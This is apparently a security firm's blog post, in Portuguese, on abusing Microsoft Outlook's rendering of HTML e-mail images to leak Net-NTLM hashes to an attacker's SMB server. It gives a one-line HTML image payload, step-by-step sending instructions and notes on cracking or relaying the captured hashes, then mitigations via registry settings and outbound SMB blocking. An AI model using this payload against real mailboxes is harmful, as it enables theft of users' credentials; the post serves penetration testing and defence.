De e-mail a hashes NTLM com o MS Outlook

Introdução

Há alguns meses, Will Dormann, do CERT/CC, publicou um artigo em seu blog descrevendo uma técnica na qual um adversário poderia abusar do Microsoft Outlook em conjunto com objetos OLE, um recurso do Microsoft Windows presente desde suas primeiras versões, para forçar o sistema operacional a vazar hashes Net-NTLM.

No ano passado, escrevemos um artigo em nosso blog que abordou o assunto do vazamento de hashes NTLM sob um ângulo diferente, explorando vulnerabilidades comuns em aplicações web, como Cross-Site Scripting (XSS) e Server-Side Request Forgery (SSRF), para alcançar os mesmos objetivos e obter os preciosos hashes que todos nós tanto apreciamos. Recomendamos a leitura do artigo que publicamos anteriormente antes de prosseguir, a menos que você já esteja familiarizado com a forma como o logon único (single sign-on) do Windows se autentica em redes corporativas.

Aqui na Blaze Information Security, utilizamos há algum tempo, com uma alta taxa de sucesso, uma técnica semelhante para forçar o MS Outlook a revelar hashes NTLM com pouca ou nenhuma interação além da leitura de uma mensagem de e-mail especialmente criada. Recentemente, enquanto escrevíamos este artigo, o NCC Group publicou em seu blog um artigo descrevendo a mesma técnica que temos utilizado, juntamente com outros detalhes. Por isso, decidimos publicar o nosso, explicando a abordagem que utilizamos e como mitigar o risco apresentado por este problema.

Uma breve história dos ataques de SMB para hashes NTLM

Em uma mensagem enviada para a lista de discussão Bugtraq em março de 1997 (sim, há 21 anos), Aaron Spangler escreveu sobre uma vulnerabilidade em versões do Internet Explorer e do Netscape Navigator que funcionava ao incorporar uma tag com o valor 'src' apontando para um compartilhamento SMB, em vez de uma página HTTP ou HTTPS. Isso forçava o Windows a iniciar uma autenticação NTLM com um servidor SMB modificado, capaz de capturar os hashes Net-NTLM do usuário.

Curiosamente, a publicação de Aaron no Bugtraq também sugeria uma falha teórica no protocolo de autenticação que mais tarde ficaria conhecida como ataques SMBRelay, mas que só surgiram alguns anos depois.

Avançando para 2016, um pesquisador de segurança russo chamado ValdikSS escreveu no Medium o que parece ter sido uma réplica moderna da mesma experiência que Spangler realizou 19 anos antes, com pouca ou nenhuma modificação em relação ao vetor de ataque original.

Abusando do Microsoft Outlook para roubar hashes Net-NTLM

Em vez de usar a técnica do CERT/CC – que tira proveito da possibilidade de incorporar objetos OLE dentro de um RTF, DOC ou PDF, o que pode fazer com que o software de segurança integrado ao servidor de e-mail fique em alerta –, esta técnica explora a forma como o Outlook lida com mensagens HTML com imagens e o comportamento descrito na publicação do Bugtraq de 1997. E-mails em HTML com imagens incorporadas são muito populares, especialmente em ambientes corporativos, e têm menos probabilidade de serem filtrados ou bloqueados por softwares antivírus e gateways de e-mail.

Os hashes Net-NTLM serão vazados via tráfego SMB para um servidor SMB externo malicioso, como o Responder (nossa ferramenta de escolha para a demonstração), o Impacket smbrelay ou ntlmrelay da Core Security, ou até mesmo um servidor SMB personalizado.

Em resumo, o ataque funciona enviando um e-mail para a vítima em formato HTML, com uma imagem apontando para um servidor SMB externo. A imagem pode ser, por exemplo, uma assinatura de e-mail baseada em HTML. O cliente iniciará automaticamente uma autenticação NTLM contra o servidor malicioso, vazando, em última análise, seus hashes.

Da perspectiva da vítima, em alguns casos, dependendo de como o Outlook está configurado para renderizar imagens em e-mails HTML, pode haver um alerta sobre a abertura de conteúdo externo, o que pode indicar um comportamento anormal. No entanto, é comum que muitos usuários do Outlook precisem clicar em um aviso para renderizar uma imagem, portanto, isso não representa um obstáculo forte para este vetor de exploração. Às vezes, também notamos um pop-up muito rápido antes de buscar o conteúdo do servidor SMB remoto em conexões mais lentas, o que também é uma ocorrência regular que dificilmente levantará suspeitas.

Frequentemente, o Outlook é configurado para renderizar imagens automaticamente quando o remetente é confiável – relações de confiança comuns ocorrem quando o remetente é interno à organização. Por exemplo, enviar um e-mail HTML com uma <img> tag apontando para um servidor SMB malicioso de [email protected] para [email protected] fará com que o cliente Outlook de [email protected] renderize o e-mail automaticamente e vaze os hashes NTLM. Isso pode ser útil em um cenário onde um testador de penetração ou red teamer comprometeu uma única conta de e-mail na organização alvo e a usará para comprometer outros usuários individualmente ou em massa, enviando o e-mail armadilhado para uma lista de distribuição.

Embora em algumas situações esta técnica não seja tão silenciosa quanto a descrita por Will Dormann, ela provou ser muito eficaz em muitos de nossos trabalhos e deve estar em sua caixa de ferramentas de ataque.

Vale lembrar que hashes Net-NTLM não podem ser usados em ataques Pass-the-Hash; ao contrário dos hashes NTLM puros, eles podem ser retransmitidos (sob certas circunstâncias) ou quebrados usando ferramentas prontas para uso, como o hashcat.

Passos para exploração

Embora tudo o que seja necessário para explorar o problema seja a capacidade de enviar um e-mail HTML, o que significa que é possível usar qualquer cliente de e-mail ou até mesmo um script para automatizar este ataque, nesta seção descreveremos como conseguir isso usando o próprio Microsoft Outlook.

Crie um arquivo HTML com o seguinte conteúdo:
<html><img src="file:///10.30.1.23/test">Test NTLM leak via Outlook</html>
O endereço IP acima serve apenas para fins ilustrativos e foi utilizado em nossos laboratórios. Pode ser qualquer IP ou nome de host, incluindo endereços remotos.
Crie uma mensagem de e-mail para o alvo. Adicione o payload HTML como anexo, mas usando a opção "Inserir como Texto" para que a mensagem de e-mail seja criada em HTML.

Outlook compose window showing Insert as Text option

A vítima abre o e-mail sem qualquer interação adicional:

Victim's Outlook rendering the booby-trapped e-mail

Os hashes Net-NTLM do alvo foram capturados automaticamente pelo nosso Responder:

Responder terminal output showing captured Net-NTLM hashes

Um requisito importante para que este exploit funcione é, obviamente, a capacidade do alvo de se conectar ao servidor SMB do atacante na porta 445. Alguns provedores de internet bloqueiam esta porta por padrão, enquanto muitos outros não o fazem. Curiosamente, a Microsoft mantém uma pequena lista de provedores que não filtram o acesso de saída para a porta 445.

Prevenindo o problema

Mais uma vez, o problema descrito nesta publicação é uma decisão de design do Windows e, há mais de 20 anos, sabe-se que ele pode ser explorado em uma infinidade de cenários.

Existem algumas maneiras diferentes de reduzir o impacto causado por esse comportamento inseguro.

Definir como 2 o valor da chave de registro RestrictSendingNTLMTraffic em HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0 reduzirá a exposição a este risco, já que o Windows deixará de enviar os hashes NTLMv1 ou NTLMv2 quando solicitado por um servidor, seja ele legítimo ou mal-intencionado.

No entanto, é provável que isso interrompa funcionalidades e mecanismos de logon único (SSO), especialmente em redes corporativas que dependem fortemente da autenticação NTLM.

Em 2017, sem muita divulgação, a Microsoft também lançou uma mitigação para Windows 10 e Windows Server 2016 que impede a autenticação NTLM SSO com recursos que não estão marcados como internos pelo Firewall do Windows, negando a autenticação NTLM SSO para recursos públicos e, em última análise, limitando a exposição de hashes Net-NTLM quando solicitados por serviços externos, como um servidor SMB operado por um atacante. Este recurso não é ativado por padrão e o usuário precisa optar por ele, aplicando alterações explicitamente ao registro.

Do ponto de vista da segurança de rede, o efeito adverso desta vulnerabilidade pode ser mitigado definindo regras de firewall que impeçam conexões SMB de alcançar servidores externos não incluídos na lista de permissões ou, melhor ainda, bloqueando totalmente todas as conexões SMB externas, caso isso seja uma opção viável.

Conclusão

Existem riscos de segurança relacionados à autenticação NTLM que são frequentemente ignorados, apesar de serem conhecidos há mais de duas décadas. Explorar essas falhas é trivial e representa um risco sério para uma organização, especialmente sob a perspectiva de ameaças internas ou cenários de contas comprometidas. Prevenir esse problema não é simples, mas pode ser facilitado com algumas das atualizações mais recentes da Microsoft e outras estratégias cuidadosamente planejadas para restringir o tráfego NTLM.

Talvez um dia a Microsoft lance uma atualização ou um service pack que impeça o Windows de vazar hashes NTLM por toda parte.